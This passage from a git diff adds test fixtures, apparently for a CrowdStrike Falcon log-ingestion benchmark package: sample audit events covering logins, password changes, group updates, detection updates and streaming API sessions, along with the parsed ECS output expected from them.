"AuthActivityAuditEvent", + "eventCreationTime": 1581601814754, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "twoFactorAuthenticate", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581601814754 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 9, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581601820289, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "selfAcceptEula", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581601820289 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 10, + "eventType": "UserActivityAuditEvent", + "eventCreationTime": 1581603262000, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "detection_update", + "ServiceName": "detections", + "AuditKeyValues": [ + { + "Key": "detection_id", + "ValueString": "ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745" + }, + { + "Key": "new_state", + "ValueString": "in_progress" + }, + { + "Key": "assigned_to", + "ValueString": "First Last" + }, + { + "Key": "assigned_to_uid", + "ValueString": "first.last@company.com" + } + ], + "UTCTimestamp": 1581603262 + } +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json new file mode 100644 index 0000000000..6915a16dca --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json @@ -0,0 +1,786 @@ +{ + "expected": [ + { + "@timestamp": "2020-02-27T19:12:14.000Z", + "crowdstrike": { + "event": { + "SessionId": "6020260b-0398-4d41-999d-5531b55522de" + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "RemoteResponseSessionStartEvent", + "offset": 1045, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "remote_response_session_start_event" + ], + "category": [ + "network", + "session" + ], + "created": "2020-02-27T19:12:14.000Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 1045,\n \"eventType\": \"RemoteResponseSessionStartEvent\",\n \"eventCreationTime\": 1582830734000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"SessionId\": \"6020260b-0398-4d41-999d-5531b55522de\",\n \"HostnameField\": \"hostnameofmachine\",\n \"UserName\": \"first.last@company.com\",\n \"StartTimestamp\": 1582830734\n }\n}", + "start": "2020-02-27T19:12:14.000Z", + "type": [ + "start" + ] + }, + "host": { + "name": "hostnameofmachine" + }, + "message": "Remote response session started.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "hostnameofmachine" + ], + "user": [ + "first.last", + "first.last@company.com" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "first.last@company.com", + "name": "first.last" + } + }, + { + "@timestamp": "2020-02-27T19:12:52.000Z", + "crowdstrike": { + "event": { + "SessionId": "6020260b-0398-4d41-999d-5531b55522de" + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "RemoteResponseSessionEndEvent", + "offset": 1046, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "remote_response_session_end_event" + ], + "category": [ + "network", + "session" + ], + "created": "2020-02-27T19:12:52.000Z", + "end": "2020-02-27T19:12:52.000Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 1046,\n \"eventType\": \"RemoteResponseSessionEndEvent\",\n \"eventCreationTime\": 1582830772000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"SessionId\": \"6020260b-0398-4d41-999d-5531b55522de\",\n \"HostnameField\": \"hostnameofmachine\",\n \"UserName\": \"first.last@company.com\",\n \"EndTimestamp\": 1582830772\n }\n}", + "type": [ + "end" + ] + }, + "host": { + "name": "hostnameofmachine" + }, + "message": "Remote response session ended.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "hostnameofmachine" + ], + "user": [ + "first.last", + "first.last@company.com" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "first.last@company.com", + "name": "first.last" + } + }, + { + "@timestamp": "2020-02-12T21:29:10.000Z", + "crowdstrike": { + "event": { + "AuditKeyValues": [ + { + "Key": "APIClientID", + "ValueString": "1234567890abcdefghijklmnopqr" + }, + { + "Key": "partition", + "ValueString": "0" + }, + { + "Key": "offset", + "ValueString": "-1" + }, + { + "Key": "appId", + "ValueString": "siem-connector-v2.0.0" + }, + { + "Key": "eventType", + "ValueString": "[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]" + } + ], + "OperationName": "streamStarted", + "Success": true + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "AuthActivityAuditEvent", + "offset": 0, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "streamStarted" + ], + "category": [ + "iam" + ], + "created": "2020-02-12T21:29:10.710Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 0,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581542950710,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"api-client-id:1234567890abcdefghijklmnopqrstuvwxyz\",\n \"UserIp\": \"10.10.0.8\",\n \"OperationName\": \"streamStarted\",\n \"ServiceName\": \"Crowdstrike Streaming API\",\n \"Success\": true,\n \"UTCTimestamp\": 1581542950,\n \"AuditKeyValues\": [\n {\n \"Key\": \"APIClientID\",\n \"ValueString\": \"1234567890abcdefghijklmnopqr\"\n },\n {\n \"Key\": \"partition\",\n \"ValueString\": \"0\"\n },\n {\n \"Key\": \"offset\",\n \"ValueString\": \"-1\"\n },\n {\n \"Key\": \"appId\",\n \"ValueString\": \"siem-connector-v2.0.0\"\n },\n {\n \"Key\": \"eventType\",\n \"ValueString\": \"[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]\"\n }\n ]\n }\n}", + "outcome": "success" + }, + "message": "Crowdstrike Streaming API", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "10.10.0.8" + ], + "user": [ + "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz" + ] + }, + "source": { + "ip": "10.10.0.8" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz" + } + }, + { + "@timestamp": "2020-02-12T21:39:37.147Z", + "crowdstrike": { + "event": { + "OperationName": "twoFactorAuthenticate", + "Success": true + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "AuthActivityAuditEvent", + "offset": 1, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "twoFactorAuthenticate" + ], + "category": [ + "authentication" + ], + "created": "2020-02-12T21:39:37.147Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 1,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581543577147,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"twoFactorAuthenticate\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581543577147\n }\n}", + "outcome": "success" + }, + "message": "CrowdStrike Authentication", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "192.168.6.8" + ], + "user": [ + "alice", + "alice@company.com" + ] + }, + "source": { + "ip": "192.168.6.8" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "alice@company.com", + "name": "alice" + } + }, + { + "@timestamp": "2020-02-12T22:14:37.554Z", + "crowdstrike": { + "event": { + "OperationName": "twoFactorAuthenticate", + "Success": true + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "AuthActivityAuditEvent", + "offset": 2, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "twoFactorAuthenticate" + ], + "category": [ + "authentication" + ], + "created": "2020-02-12T22:14:37.554Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 2,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581545677554,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"bob@company.com\",\n \"UserIp\": \"192.168.6.3\",\n \"OperationName\": \"twoFactorAuthenticate\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581545677554\n }\n}", + "outcome": "success" + }, + "message": "CrowdStrike Authentication", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "192.168.6.3" + ], + "user": [ + "bob", + "bob@company.com" + ] + }, + "source": { + "ip": "192.168.6.3" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "bob@company.com", + "name": "bob" + } + }, + { + "@timestamp": "2020-02-12T22:24:08.000Z", + "crowdstrike": { + "event": { + "AuditKeyValues": [ + { + "Key": "group_id", + "ValueString": "3c80ce30b9654cb4bd15beec6a517e65" + }, + { + "Key": "action_name", + "ValueString": "add_group_member" + } + ], + "ServiceName": "groups" + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "UserActivityAuditEvent", + "offset": 3, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "user_activity_audit_event", + "category": [ + "iam" + ], + "created": "2020-02-12T22:24:08.000Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 3,\n \"eventType\": \"UserActivityAuditEvent\",\n \"eventCreationTime\": 1581546248000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"chris@company.com\",\n \"UserIp\": \"192.168.6.13\",\n \"OperationName\": \"update_group\",\n \"ServiceName\": \"groups\",\n \"AuditKeyValues\": [\n {\n \"Key\": \"group_id\",\n \"ValueString\": \"3c80ce30b9654cb4bd15beec6a517e65\"\n },\n {\n \"Key\": \"action_name\",\n \"ValueString\": \"add_group_member\"\n }\n ],\n \"UTCTimestamp\": 1581546248\n }\n}", + "type": [ + "change" + ] + }, + "message": "update_group", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "192.168.6.13" + ], + "user": [ + "chris", + "chris@company.com" + ] + }, + "source": { + "ip": "192.168.6.13" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "chris@company.com", + "name": "chris" + } + }, + { + "@timestamp": "2020-02-13T13:41:52.140Z", + "crowdstrike": { + "event": { + "AuditKeyValues": [ + { + "Key": "target_name", + "ValueString": "alice@company.com" + } + ], + "OperationName": "requestResetPassword", + "Success": true + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "AuthActivityAuditEvent", + "offset": 4, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "requestResetPassword" + ], + "category": [ + "iam" + ], + "created": "2020-02-13T13:41:52.140Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 4,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581601312140,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"requestResetPassword\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581601312140,\n \"AuditKeyValues\": [\n {\n \"Key\": \"target_name\",\n \"ValueString\": \"alice@company.com\"\n }\n ]\n }\n}", + "outcome": "success" + }, + "message": "CrowdStrike Authentication", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "192.168.6.8" + ], + "user": [ + "alice", + "alice@company.com" + ] + }, + "source": { + "ip": "192.168.6.8" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "alice@company.com", + "name": "alice" + } + }, + { + "@timestamp": "2020-02-13T13:42:21.730Z", + "crowdstrike": { + "event": { + "OperationName": "twoFactorAuthenticate", + "Success": true + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "AuthActivityAuditEvent", + "offset": 5, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "twoFactorAuthenticate" + ], + "category": [ + "authentication" + ], + "created": "2020-02-13T13:42:21.730Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 5,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581601341730,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"twoFactorAuthenticate\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581601341730\n }\n}", + "outcome": "success" + }, + "message": "CrowdStrike Authentication", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "192.168.6.8" + ], + "user": [ + "alice", + "alice@company.com" + ] + }, + "source": { + "ip": "192.168.6.8" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "alice@company.com", + "name": "alice" + } + }, + { + "@timestamp": "2020-02-13T13:45:20.236Z", + "crowdstrike": { + "event": { + "AuditKeyValues": [ + { + "Key": "target_name", + "ValueString": "first.last@company.com" + } + ], + "OperationName": "changePassword", + "Success": true + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "AuthActivityAuditEvent", + "offset": 6, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "changePassword" + ], + "category": [ + "iam" + ], + "created": "2020-02-13T13:45:20.236Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 6,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581601520236,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"changePassword\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581601520236,\n \"AuditKeyValues\": [\n {\n \"Key\": \"target_name\",\n \"ValueString\": \"first.last@company.com\"\n }\n ]\n }\n}", + "outcome": "success", + "type": [ + "user", + "change" + ] + }, + "message": "CrowdStrike Authentication", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "192.168.6.8" + ], + "user": [ + "alice", + "alice@company.com" + ] + }, + "source": { + "ip": "192.168.6.8" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "alice@company.com", + "name": "alice" + } + }, + { + "@timestamp": "2020-02-13T13:46:12.362Z", + "crowdstrike": { + "event": { + "OperationName": "userAuthenticate", + "Success": true + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "AuthActivityAuditEvent", + "offset": 7, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "userAuthenticate" + ], + "category": [ + "authentication" + ], + "created": "2020-02-13T13:46:12.362Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 7,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581601572362,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"userAuthenticate\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581601572362\n }\n}", + "outcome": "success" + }, + "message": "CrowdStrike Authentication", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "192.168.6.8" + ], + "user": [ + "alice", + "alice@company.com" + ] + }, + "source": { + "ip": "192.168.6.8" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "alice@company.com", + "name": "alice" + } + }, + { + "@timestamp": "2020-02-13T13:50:14.754Z", + "crowdstrike": { + "event": { + "OperationName": "twoFactorAuthenticate", + "Success": true + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "AuthActivityAuditEvent", + "offset": 8, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "twoFactorAuthenticate" + ], + "category": [ + "authentication" + ], + "created": "2020-02-13T13:50:14.754Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 8,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581601814754,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"twoFactorAuthenticate\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581601814754\n }\n}", + "outcome": "success" + }, + "message": "CrowdStrike Authentication", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "192.168.6.8" + ], + "user": [ + "alice", + "alice@company.com" + ] + }, + "source": { + "ip": "192.168.6.8" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "alice@company.com", + "name": "alice" + } + }, + { + "@timestamp": "2020-02-13T13:50:20.289Z", + "crowdstrike": { + "event": { + "OperationName": "selfAcceptEula", + "Success": true + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "AuthActivityAuditEvent", + "offset": 9, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "selfAcceptEula" + ], + "category": [ + "iam" + ], + "created": "2020-02-13T13:50:20.289Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 9,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1581601820289,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"selfAcceptEula\",\n \"ServiceName\": \"CrowdStrike Authentication\",\n \"Success\": true,\n \"UTCTimestamp\": 1581601820289\n }\n}", + "outcome": "success" + }, + "message": "CrowdStrike Authentication", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "192.168.6.8" + ], + "user": [ + "alice", + "alice@company.com" + ] + }, + "source": { + "ip": "192.168.6.8" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "alice@company.com", + "name": "alice" + } + }, + { + "@timestamp": "2020-02-13T14:14:22.000Z", + "crowdstrike": { + "event": { + "AuditKeyValues": [ + { + "Key": "detection_id", + "ValueString": "ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745" + }, + { + "Key": "new_state", + "ValueString": "in_progress" + }, + { + "Key": "assigned_to", + "ValueString": "First Last" + }, + { + "Key": "assigned_to_uid", + "ValueString": "first.last@company.com" + } + ], + "ServiceName": "detections" + }, + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "eventType": "UserActivityAuditEvent", + "offset": 10, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "user_activity_audit_event", + "category": [ + "iam" + ], + "created": "2020-02-13T14:14:22.000Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 10,\n \"eventType\": \"UserActivityAuditEvent\",\n \"eventCreationTime\": 1581603262000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"alice@company.com\",\n \"UserIp\": \"192.168.6.8\",\n \"OperationName\": \"detection_update\",\n \"ServiceName\": \"detections\",\n \"AuditKeyValues\": [\n {\n \"Key\": \"detection_id\",\n \"ValueString\": \"ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745\"\n },\n {\n \"Key\": \"new_state\",\n \"ValueString\": \"in_progress\"\n },\n {\n \"Key\": \"assigned_to\",\n \"ValueString\": \"First Last\"\n },\n {\n \"Key\": \"assigned_to_uid\",\n \"ValueString\": \"first.last@company.com\"\n }\n ],\n \"UTCTimestamp\": 1581603262\n }\n}", + "type": [ + "change" + ] + }, + "message": "detection_update", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "192.168.6.8" + ], + "user": [ + "alice", + "alice@company.com" + ] + }, + "source": { + "ip": "192.168.6.8" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "company.com", + "email": "alice@company.com", + "name": "alice" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log new file mode 100644 index 0000000000..d977070b06 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log @@ -0,0 +1,92 @@ +{ + "metadata": { + "customerIDString": "123123abcd", + "offset": 6, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1686845212400, + "version": "1.0" + }, + "event": { + "UserId": "API:USERID", + "UserIp": "175.16.199.1", + "OperationName": "streamStopped", + "ServiceName": "Crowdstrike Streaming API", + "Success": true, + "UTCTimestamp": 1686839378, + "AuditKeyValues": [ + { + "Key": "eventType", + "ValueString": "All event type(s)" + }, + { + "Key": "APIClientID", + "ValueString": "APIID" + }, + { + "Key": "partition", + "ValueString": "0" + }, + { + "Key": "offset", + "ValueString": "2" + }, + { + "Key": "appId", + "ValueString": "APPIDTEST" + } + ], + "Attributes": { + "APIClientID": "APPCLIENTIDTEST", + "appId": "APPIDTEST", + "eventType": "All event type(s)", + "offset": "2", + "partition": "0" + } + } +} +{ + "metadata": { + "customerIDString": "123123abcd", + "offset": 8, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1686849556137, + "version": "1.0" + }, + "event": { + "UserId": "API:USERID", + "UserIp": "175.16.199.1", + "OperationName": "streamStarted", + "ServiceName": "Crowdstrike Streaming API", + "Success": true, + "UTCTimestamp": 1686849556, + "AuditKeyValues": [ + { + "Key": "APIClientID", + "ValueString": "APICLIENTID" + }, + { + "Key": "partition", + "ValueString": "0" + }, + { + "Key": "offset", + "ValueString": "8" + }, + { + "Key": "appId", + "ValueString": "APPIDTEST" + }, + { + "Key": "eventType", + "ValueString": "All event type(s)" + } + ], + "Attributes": { + "APIClientID": "APICLIENTID", + "appId": "APPIDTEST", + "eventType": "All event type(s)", + "offset": "8", + "partition": "0" + } + } +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json new file mode 100644 index 0000000000..028a422941 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json @@ -0,0 +1,190 @@ +{ + "expected": [ + { + "@timestamp": "2023-06-15T14:29:38.000Z", + "crowdstrike": { + "event": { + "Attributes": { + "APIClientID": "APPCLIENTIDTEST", + "appId": "APPIDTEST", + "eventType": "All event type(s)", + "offset": "2", + "partition": "0" + }, + "AuditKeyValues": [ + { + "Key": "eventType", + "ValueString": "All event type(s)" + }, + { + "Key": "APIClientID", + "ValueString": "APIID" + }, + { + "Key": "partition", + "ValueString": "0" + }, + { + "Key": "offset", + "ValueString": "2" + }, + { + "Key": "appId", + "ValueString": "APPIDTEST" + } + ], + "OperationName": "streamStopped", + "Success": true + }, + "metadata": { + "customerIDString": "123123abcd", + "eventType": "AuthActivityAuditEvent", + "offset": 6, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "streamStopped" + ], + "category": [ + "iam" + ], + "created": "2023-06-15T16:06:52.400Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"123123abcd\",\n \"offset\": 6,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1686845212400,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"API:USERID\",\n \"UserIp\": \"175.16.199.1\",\n \"OperationName\": \"streamStopped\",\n \"ServiceName\": \"Crowdstrike Streaming API\",\n \"Success\": true,\n \"UTCTimestamp\": 1686839378,\n \"AuditKeyValues\": [\n {\n \"Key\": \"eventType\",\n \"ValueString\": \"All event type(s)\"\n },\n {\n \"Key\": \"APIClientID\",\n \"ValueString\": \"APIID\"\n },\n {\n \"Key\": \"partition\",\n \"ValueString\": \"0\"\n },\n {\n \"Key\": \"offset\",\n \"ValueString\": \"2\"\n },\n {\n \"Key\": \"appId\",\n \"ValueString\": \"APPIDTEST\"\n }\n ],\n \"Attributes\": {\n \"APIClientID\": \"APPCLIENTIDTEST\",\n \"appId\": \"APPIDTEST\",\n \"eventType\": \"All event type(s)\",\n \"offset\": \"2\",\n \"partition\": \"0\"\n }\n }\n}", + "outcome": "success" + }, + "message": "Crowdstrike Streaming API", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "175.16.199.1" + ], + "user": [ + "API:USERID" + ] + }, + "source": { + "geo": { + "city_name": "Changchun", + "continent_name": "Asia", + "country_iso_code": "CN", + "country_name": "China", + "location": { + "lat": 43.88, + "lon": 125.3228 + }, + "region_iso_code": "CN-22", + "region_name": "Jilin Sheng" + }, + "ip": "175.16.199.1" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "API:USERID" + } + }, + { + "@timestamp": "2023-06-15T17:19:16.000Z", + "crowdstrike": { + "event": { + "Attributes": { + "APIClientID": "APICLIENTID", + "appId": "APPIDTEST", + "eventType": "All event type(s)", + "offset": "8", + "partition": "0" + }, + "AuditKeyValues": [ + { + "Key": "APIClientID", + "ValueString": "APICLIENTID" + }, + { + "Key": "partition", + "ValueString": "0" + }, + { + "Key": "offset", + "ValueString": "8" + }, + { + "Key": "appId", + "ValueString": "APPIDTEST" + }, + { + "Key": "eventType", + "ValueString": "All event type(s)" + } + ], + "OperationName": "streamStarted", + "Success": true + }, + "metadata": { + "customerIDString": "123123abcd", + "eventType": "AuthActivityAuditEvent", + "offset": 8, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": [ + "streamStarted" + ], + "category": [ + "iam" + ], + "created": "2023-06-15T17:19:16.137Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"123123abcd\",\n \"offset\": 8,\n \"eventType\": \"AuthActivityAuditEvent\",\n \"eventCreationTime\": 1686849556137,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"API:USERID\",\n \"UserIp\": \"175.16.199.1\",\n \"OperationName\": \"streamStarted\",\n \"ServiceName\": \"Crowdstrike Streaming API\",\n \"Success\": true,\n \"UTCTimestamp\": 1686849556,\n \"AuditKeyValues\": [\n {\n \"Key\": \"APIClientID\",\n \"ValueString\": \"APICLIENTID\"\n },\n {\n \"Key\": \"partition\",\n \"ValueString\": \"0\"\n },\n {\n \"Key\": \"offset\",\n \"ValueString\": \"8\"\n },\n {\n \"Key\": \"appId\",\n \"ValueString\": \"APPIDTEST\"\n },\n {\n \"Key\": \"eventType\",\n 